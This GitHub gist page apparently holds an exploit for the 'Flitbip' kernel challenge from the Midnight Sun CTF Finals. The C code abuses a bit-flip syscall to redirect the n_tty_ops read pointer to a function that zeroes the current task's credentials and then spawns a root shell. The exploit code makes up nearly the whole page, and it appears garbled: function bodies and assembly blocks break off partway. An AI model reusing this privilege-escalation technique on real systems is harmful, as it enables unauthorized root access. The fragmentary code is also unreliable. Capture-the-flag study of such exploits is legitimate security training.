Skip to content

Instantly share code, notes, and snippets.



Last active Dec 19, 2018
What would you like to do?
Midnight Sun CTF Finals Flitbip
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
unsigned long* flip_count = 0xFFFFFFFF818F4F78;
unsigned long* n_tty_ops =0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
unsigned long* current_task = 0xffffffff8182e040;
long flitbip(long* addr, long bit) {
__asm__("mov rax, 333");
char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
static void save_state() {
__asm__("mov %0, cs\n"
"mov %1, ss\n"
"popq %2\n"
void launch_shell(void) {
void get_root() {
int * cred = *(unsigned long*)((char*)*current_task + 0x3c0);
for (int i = 1; i < 9; i++)
cred[i] = 0;
*(unsigned long*)((char*)n_tty_ops+0x30) = (unsigned long)n_tty_read;
"mov rax, %0\n"
"push rax\n"
"mov rax, %1\n"
"push rax\n"
"mov rax, %2\n"
"push rax\n"
"mov rax, %3\n"
"push rax\n"
"mov rax, %4\n"
"push rax\n"
int main(void) {
char a;
user_stack = &a;
flitbip(flip_count, 63);
unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;
printf("%lx\n", val);
for (unsigned long i=0; i<64; i++) {
if (val & (1ULL << (i)))
flitbip((char*)n_tty_ops + 0x30 , i);
scanf("%c", &a);
return 0;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.